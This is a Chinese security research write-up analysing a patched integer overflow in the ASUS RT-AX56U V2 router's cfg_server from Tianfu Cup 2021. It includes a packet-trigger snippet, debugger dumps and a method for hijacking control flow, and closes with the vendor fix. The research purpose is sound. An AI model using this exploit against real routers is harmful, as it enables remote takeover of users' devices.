作者:cq674350529
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
2021年天府杯破解大赛的设备类项目包含群晖和华硕两个项目,其中,群晖设备(DS220j
)暂时无选手攻破,而华硕设备(RT-AX56U V2/热血版
)则被两队选手成功拿下。笔者在前期主要关注群晖设备,也顺带看了下华硕设备,虽然发现了其他的小问题,但是未发现这个整数溢出漏洞 。目前华硕官方已发布对应的补丁,网上也有其他师傅对这个漏洞进行了详细的分析,感兴趣地可以看看 "天府杯华硕会战的围剿与反围剿" 和 "Tianfu Cup 2021 RT-AX56U RCE"。参考上面两篇文章,下文将对漏洞进行分析,并重点关注漏洞的利用思路。
华硕RT-AX56U
型号设备有两个版本:RT-AX56U
和RT-AX56U V2/热血版
,这两个版本的设备固件大体上相似,存在些许差异。该漏洞在这两个版本中均存在,由于手边有一个RT-AX56U V2
型号的真实设备,故这里基于RT-AX56U_V2 3.0.0.4.386_45898
固件版本进行分析。
RT-AX56U
对应的固件名称为"FW_RT_AX56U_xxxxxx",RT-AX56U V2/热血版
对应的固件名称为"FW_RT_AX55_xxxxxxs"。从官方下载链接来看,RT-AX56U
对应的历史固件比较多,因此也可以基于该版本进行分析。
该设备支持Telnet
和SSH
功能,开启Telnet
后登录到设备,即可获取设备的root shell
,便于后续的分析和调试。
华硕路由器固件遵循
GPL
协议,在网上可以搜索到相关代码。其中,asuswrt-merlin项目中的一些源码与华硕路由器固件中的部分代码对应,值得借鉴参考。
设备上开放的部分端口信息如下。其中,cfg_server
进程监听7788/tcp
和7788/udp
端口,而漏洞就存在于该进程中。
# netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5152 0.0.0.0:* LISTEN 362/envrams
tcp 0 0 0.0.0.0:18017 0.0.0.0:* LISTEN 1131/wanduck
tcp 0 0 0.0.0.0:46340 0.0.0.0:* LISTEN 1301/miniupnpd
tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN 1331/cfg_server # <===
tcp 0 0 192.168.1.1:80 0.0.0.0:* LISTEN 1222/httpd
udp 0 0 192.168.1.1:52738 0.0.0.0:* 1301/miniupnpd
udp 0 0 0.0.0.0:9999 0.0.0.0:* 1223/infosvr
udp 0 0 0.0.0.0:18018 0.0.0.0:* 1131/wanduck
udp 0 0 0.0.0.0:7788 0.0.0.0:* 1331/cfg_server # <===
udp 0 0 0.0.0.0:1900 0.0.0.0:* 1301/miniupnpd
udp 0 0 0.0.0.0:59000 0.0.0.0:* 1159/eapd
udp 0 0 192.168.1.1:5351 0.0.0.0:* 1301/miniupnpd
使用IDA
对该程序进行分析,在cm_rcvTcpHandler()
中,会调用pthread_create()
创建一个新的线程来对连接进行处理。
void cm_rcvTcpHandler(int a1)
{
// ...
v5 = accept(*(_DWORD *)(a1 + 12), &v14, &addr_len);
if ( v5 >= 0 )
{
*v2 = v5;
if ( pthread_create(&newthread, (const pthread_attr_t *)attrp, (void *(*)(void *))cm_tcpPacketHandler, v2) )
{
// ...
在cm_tcpPacketHandler()
中,调用read_tcp_message()
读取socket
数据之后,再调用cm_packetProcess()
进行处理。
int cm_tcpPacketHandler(int *a1)
{
// ...
if ( v20[0] )
{
// ...
while ( 1 )
{
memset(v21, 0, 0x4000u);
v10 = read_tcp_message(v2, v21, 0x4000u);
if ( v10 <= 0 )
break;
if ( cm_packetProcess(v2, v21, v10, (int)v19, (int)v20, (int)&cm_ctrlBlock, (int)v18) == 1 )
// ...
在cm_packetProcess()
中,其主要功能是根据接收数据的前4
个字节的内容,在packetHandlers
中匹配对应的opcode
,匹配成功的话则调用对应的处理函数。
int cm_packetProcess(int a1, unsigned int *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
v7 = a2; // recv_buf
// ...
while ( 2 )
{
if ( v14 >= (int)a3 )
return 0;
v15 = v14 + 12;
if ( v15 <= a3 )
{
v19 = *v7; v20 = v7[1]; v21 = v7 + 3;
v46 = v19; v47 = v20; v48 = *(v21 - 1);
v22 = v19;
// ...
v24 = bswap32(v22);
v28 = 0;
while ( 1 )
{
v29 = &packetHandlers[v28];
v30 = packetHandlers[v28];
if ( v30 <= 0 )
break;
v28 += 2;
if ( v30 == v24 ) // match opcode
goto LABEL_27;
}
if ( *v29 < 0 )
{ /* ... */ }
else
{
LABEL_27:
if ( !((int (__fastcall *)(int, int, unsigned int, unsigned int, int, int, unsigned int *, int, int))v29[1])( a1, a6, v46, v47, v48, a7, v21, a4, a5) ) // call function
{
// ...
经过分析,接收的消息数据包的格式为类似TLV(type-length-value)
的格式,其中多了一个checksum
字段,如下。
struct msg {
uint32_t type;
uint32_t length; // length of value
uint32_t checksum; // crc32 of value
char* value;
}
在packetHandlers
地址处包含的opcode
与function pointer
的示例如下。通过指定数据包中的type
字段,即可调用packetHandlers
中对应的处理函数。
.data:000AE4A4 packetHandlers DCD 1 ; DATA XREF: LOAD:00011820↑o
.data:000AE4A4 ; cm_packetProcess+2F8↑o ...
.data:000AE4A8 DCD cm_processREQ_KU
.data:000AE4AC DCD 3
.data:000AE4B0 DCD cm_processREQ_NC
.data:000AE4B4 DCD 5
.data:000AE4B8 DCD cm_processREP_OK
.data:000AE4BC DCD 8
.data:000AE4C0 DCD cm_processREQ_CHK
.data:000AE4C4 DCD 0xA
.data:000AE4C8 DCD cm_processACK_CHK
; ...
.data:000AE51C DCD 0x28
.data:000AE520 DCD cm_processREQ_GROUPID
.data:000AE524 DCD 0x2A
.data:000AE528 DCD cm_processACK_GROUPID
; ...
.data:000AE55C DCD 0x3B
.data:000AE560 DCD cm_processREQ_LEVEL
.data:000AE564 DCD 0xFFFFFFFF
通过对上述处理函数进行分析,发现大多数函数都会先对value
部分的内容进行AES
解密,然后再对解密后的内容进行处理,而漏洞就存在于AES
解密的过程中。以cm_processREQ_GROUPID()
为例,在(1)
处对checksum
进行校验,通过后在(2)
处会调用aes_decrypt()
对数据进行解密。在aes_decrypt()
中,在(3)
处计算EVP_CIPHER_CTX_block_size(ctx) + tlv_length
,然后将其传入malloc()
中。由于未对tlv_length
的值进行校验,当伪造tlv_length=0xfffffffa
时,在(3)
处会出现整数溢出,使得malloc()
申请一块很小的内存,造成后续在循环调用EVP_DecryptUpdate()
往该内存中写数据时出现堆溢出。
int cm_processREQ_GROUPID(int sock_fd, int cm_ctrlblock_ptr, int tlv_type, unsigned int tlv_length, unsigned int crc_checksum, int a6, int tlv_value_ptr)
{
// ...
v11 = get_onboarding_key();
if ( v11 )
{
v15 = bswap32(tlv_length);
if ( calc_checksum(0, (char *)tlv_value_ptr, v15) != bswap32(crc_checksum) ) // (1) verify checksum
{
/* checksum fail */
}
// ...
v22 = aes_decrypt((int)v11, tlv_value_ptr, v15, &v42); // (2)
// ...
char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
// ...
out_len[0] = 0;
ctx = EVP_CIPHER_CTX_new();
cipher = EVP_aes_256_ecb();
v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
if ( v10 )
{
*decodeMsgLen = 0;
v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; // (3) ctx size: 0x10, integer overflow
v12 = malloc(v11); // (4)
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
out = (int)v10;
for ( i = tlv_length; ; i -= 16 )
{
in = tlv_value_ptr + tlv_length - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) // (5) heap overflow
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(ctx);
free(v10);
return 0;
}
out += out_len[0];
*decodeMsgLen += out_len[0];
}
// ...
因此,通过构造类似如下的数据,即可触发漏洞。其中,设置checksum=0
即可,因为在calc_checksum()
中,当tlv_length=0xfffffffa
时,由于条件不成立会直接返回,计算的结果为0
。
tlv = p32(0x28, ">")
tlv += p32(0xfffffffa, ">")
tlv += p32(0)
tlv += 'a' * 0x10
"""
unsigned int calc_checksum(unsigned int result, char *tlv_value_ptr, int tlv_length)
{
char v3; // t1
while ( --tlv_length >= 0 ) // condition fail if tlv_length is negative
{
v3 = *tlv_value_ptr++;
result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
}
return result;
}
"""
如前所述,在packetHandlers
地址处包含的处理函数中,很多都会调用cm_aesDecryptMsg()
或aes_decrypt()
对value
部分的内容进行解密。经过测试,似乎只有函数cm_processREQ_GROUPID()
和cm_processACK_GROUPID()
可以无条件触发,其他函数会依赖sessionKey
来对数据进行解密或者路径上的某个条件不满足,造成无法触发漏洞。因此,这里选择通过cm_processREQ_GROUPID()
来触发漏洞。
sessionKey
的部分内容无法事先获取
漏洞的原理和触发很简单,但是该如何进行漏洞利用呢?根据之前的分析,漏洞是由于整数溢出造成的堆溢出,假设tlv_length=0xfffffffa
,后续在循环调用EVP_DecryptUpdate()
时会尝试写入长度为0xfffffffa
的数据,在这个过程中会出现非法内存发访问造成程序崩溃。因此,想要进行漏洞利用,最好是在调用EVP_DecryptUpdate()
或者EVP_CIPHER_CTX_free(ctx)
的过程中完成。
char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
// ...
ctx = EVP_CIPHER_CTX_new();
cipher = EVP_aes_256_ecb();
v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
if ( v10 )
{
*decodeMsgLen = 0;
v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; // (3) ctx size: 0x10, integer overflow
v12 = malloc(v11); // (4)
v10 = v12;
if ( v12 )
{
memset(v12, 0, v11);
for ( i = tlv_length; ; i -= 16 )
{
in = tlv_value_ptr + tlv_length - i;
if ( i <= 0x10 )
break;
if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) // (5) heap overflow <===
{
printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
EVP_CIPHER_CTX_free(ctx); <===
free(v10);
// ...
参考@CataLpa
师傅文章的思路,以EVP_DecryptUpdate()
为例,其部分示例代码如下。可以看到后续会调用*ctx+0x18
处的函数指针,如果能覆盖ctx
结构体中的cipher
指针(对应*ctx
),则有可能使程序流程执行到(6)
处,从而劫持程序的控制流。说明:在(6)
处,正常的流程是调用evp_EncryptDecryptUpdate()
,evp_EncryptDecryptUpdate()
中也存在类似调用*ctx+0x18
处的函数指针的代码。另外,如果能覆盖ctx
结构体中的cipher
指针,也可以使EVP_DecryptUpdate()
提前返回,然后调用EVP_CIPHER_CTX_free(ctx)
,思路类似。
/usr/lib/libcrypto.so.1.1
对应的OpenSSL
版本为1.1.1k
bool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len)
{
v5 = ctx[2];
// ...
v9 = *(_DWORD *)(*ctx + 4); // ctx->cipher->block_size
// ...
v12 = *ctx;
if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 )
{
if ( (ctx[23] & 0x100) != 0 )
return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
// ...
v17 = ctx[25];
// ...
v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
if ( v5 )
{
if ( v9 <= 1 || ctx[3] )
{
v19 = 0;
ctx[25] = 0;
}
else
{
*out_len -= v9;
ctx[25] = 1;
memcpy(ctx + 27, &out[*out_len], v9);
}
if ( v17 )
v19 = *out_len;
v5 = 1;
if ( v17 )
*out_len = v19 + v9;
}
return v5;
}
if ( v9 == 1 )
{
// ...
}
LABEL_11:
v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len); // (6) <===
通过组合发送不同的请求,以及调整构造的数据包的内容,在一定情况下可以得到如下的内存布局,其中0xb6400a60
为ctx
结构体的指针,0xb6400a48
为malloc()
返回的地址。可以看到,确实可以通过覆盖ctx
结构体中cipher指针
(这里是0xb6ef6b1c
)的方式来劫持程序控制流,但问题是用什么地址来覆盖?需要有一块内容可控的地址。通过对cfg_server
的其他功能进行分析,暂时未找到对应的操作来实现向.data/.bss
等区域写入可控内容。因此,采用这种方式可能需要结合爆破或其他方法。
实际测试时,这种内存布局似乎也不是特别稳定 :(
(gdb) c
Continuing.
[New Thread 19239.19346]
0xb6400a60, 0xb6400a48 ; 0xb6400a60: ctx_ptr, 0xb6400a48: return value of malloc()
[Switching to Thread 19239.19346]
=> 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <[email protected]>
0x1da00 <aes_decrypt+264>: subs r3, r0, #0
0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328>
0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592>
Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()
(gdb) x/4wx 0xb6400a60
0xb6400a60: 0xb6ef6b1c 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0xb6400a48
0xb6400a48: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a58: 0x00000000 0x00000095 0xb6ef6b1c 0x00000000 ; 覆盖0xb6ef6b1c为内容可控的地址
0xb6400a68: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a78: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a88: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0xb6ef6b1c
0xb6ef6b1c: 0x000001aa 0x00000010 0x00000020 0x00000000
0xb6ef6b2c: 0x00001001 0xb6e27480 0xb6e27710 0x00000000
0xb6ef6b3c: 0x00000100 0x00000000 0x00000000 0x00000000
0xb6ef6b4c: 0x00000000 0x00000383 0x00000001 0x00000018
0xb6ef6b5c: 0x0000000c 0x00301c77 0xb6e28fac 0xb6e28b40
后来又请教了@Yimi Hu
师傅,学到了另一种更简单也更稳定的思路。假设还是尝试覆盖ctx
结构体中的cipher指针
,通过组合发送不同的请求,以及调整构造的数据包内容,可得到内存布局如下。测试发现,continue
后程序崩溃,PC
寄存器的内容似乎被覆盖了,但与发送的数据不一致。
(gdb) c
Continuing.
[New Thread 20697.23444]
0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
[Switching to Thread 20697.23444]
=> 0x1d9fc <aes_decrypt+260>: bl 0x149f8 <[email protected]>
0x1da00 <aes_decrypt+264>: subs r3, r0, #0
0x1da04 <aes_decrypt+268>: bne 0x1da40 <aes_decrypt+328>
0x1da08 <aes_decrypt+272>: ldr r1, [pc, #312] ; 0x1db48 <aes_decrypt+592>
Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()
(gdb) disable 1
(gdb) c
Continuing.
[New Thread 20697.23558]
Thread 4 "cfg_server" received signal SIGSEGV, Segmentation fault.
=> 0x325e5d34: Error while running hook_stop:
Cannot access memory at address 0x325e5d34
0x325e5d34 in ?? ()
(gdb) bt
#0 0x325e5d34 in ?? ()
#1 0xb6e3f760 in ?? () from target:/usr/lib/libcrypto.so.1.1
查看崩溃处的代码,示例如下。可以看到,PC
寄存器(对应R3
寄存器)的值来自于*(v11+0xF8)
,而v11
来自于*(_DWORD *)(ctx + 96)
,即PC=*(*(_DWORD *)(ctx + 96)+0xF8)
。
int __fastcall do_cipher(int ctx, int out, int in, unsigned int inl)
{
v8 = EVP_CIPHER_CTX_block_size(ctx);
v9 = EVP_CIPHER_CTX_get_cipher_data(ctx); // (6)
if ( v8 <= inl )
{
v10 = inl - v8;
v11 = v9;
v12 = in;
do
{
v13 = v12;
v12 += v8;
/* .text:B6E3F748 LDR R3, [R7,#0xF8]
.text:B6E3F74C MOV R1, R5
.text:B6E3F750 MOV R0, R4
.text:B6E3F754 MOV R2, R7
.text:B6E3F758 ADD R4, R4, R6
.text:B6E3F75C BLX R3
.text:B6E3F760 RSB R3, R10, R4
*/
(*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11); // (7) call AES_decrypt()
out += v8;
}
while ( v10 >= v12 - in );
}
return 1;
}
int EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
return *(_DWORD *)(ctx + 96);
}
对应地址处的内容如下。可以发现,在尝试从地址0xb6600a48
溢出到0xb6602040
的过程中,已经能覆盖地址0xb6601380
处的内容了,即劫持了PC
寄存器,但PC
寄存器的值与预期(0x30303030
)不一致。通过查看解密的内容,发现从0xb6600fe8
开始,解密的内容与预期的就不一致了,猜测可能是在0xb6600fd8
处覆盖了和解密相关的数据如密钥。
;0xb6602040, 0xb6600a48 ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
(gdb) x/4wx 0xb6602040+96 ; ctx + 96
0xb66020a0: 0xb6601288 0x00000001 0x0000000f 0xc53430e9
(gdb) x/4wx 0xb6601288+0xf8 ; v11 + 0xF8
0xb6601380: 0x325e5d36 0x571e1e57 0x00000000 0x00000031
(gdb) x/20wx 0xb6600fc8
0xb6600fc8: 0x30303030 0x30303030 0x30303030 0x30303030
0xb6600fd8: 0x30303030 0x30303030 0x30303030 0x30303030
0xb6600fe8: 0x8c8b045e 0xc7ea483a 0xa382ee1b 0xc3ad7553 ; 解密数据与预期不一致
0xb6600ff8: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7
0xb6601008: 0xf0e37788 0x927bccde 0xe6fb83e2 0x367ff9f7
解决的方式很简单,只要在发送的原始数据包中包含相应的内容,使得某些地址处覆盖前后的内容一致,即可保证解密后的数据和预期的一致。具体地,在(7)
处正常是调用AES_decrypt()
,第3
个参数即v11
为aes_key_st
结构体,其与解密密钥相关,因此需要保证0xb6601288
地址开始处的一段内容在覆盖前后保持不变。而上面提到的0xb6600fd8
地址处,也有一小部分数据(暂时未理解其用途 )会影响解密的结果,也需要保持不变。
不同的内存布局可能存在细微差异。经测试,上述内存布局比较稳定。
void AES_decrypt(const unsigned char *in, unsigned char *out, const AES_KEY *key);
# define AES_MAXNR 14
struct aes_key_st {
unsigned int rd_key[4 * (AES_MAXNR + 1)];
int rounds;
};
typedef struct aes_key_st AES_KEY;
aes_key_st
结构体的原始内容可以dump
出来,或者参考AES_set_decrypt_key()
自行生成。
之后,即可在(7)
处正常劫持PC
,同时第一个参数指向用户发送的内容,很容易实现代码执行的目的。
在版本RT-AX56U_V2 3.0.0.4.386_49559
中,在cm_packetProcess()
中增加了对数据包中tlv_length
字段的校验,如下。可以看到,在开始部分,会先对接收数据包的长度recv_data_len
和数据包中的tlv_length
字段之间的关系进行校验。而在调用read_tcp_message()
读取数据包时,每次最多读取0x4000
字节,故该校验可保证tlv_length
字段的值不会太大,不会造成后续出现整数溢出问题。
int cm_packetProcess(int a1, unsigned int *recv_buf, unsigned int recv_data_len, int a4, int a5, int a6, int a7)
{
v7 = recv_buf;
// ...
v14 = 0;
while ( 2 )
{
if ( v14 >= (int)recv_data_len )
return 0;
v15 = v14 + 12;
if ( v15 <= recv_data_len )
{
v45 = *v7; // type
v46 = v7[1]; // length
v47 = v7[2]; // checksum
if ( recv_data_len - 12 != bswap32(v46) ) // check tlv_length
{
// checking length error
}
// ...
本文基于RT-AX56U V2
型号设备,对2021
年天府杯破解大赛华硕设备中的漏洞进行了分析,并重点介绍了漏洞利用的思路。在尝试进行漏洞利用的过程中,一方面需要对目标设备的功能比较熟悉;另一方面,在没有思路的时候多尝试(如进行fuzz
)和多调试,可能会有意向不到的结果。另外,文章中给出的思路是基于@Yimi Hu
和@CataLpa
两位师傅的文章,实际比赛中采用的利用思路不得而知,再次感谢@Yimi Hu
和@CataLpa
的帮助。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2098/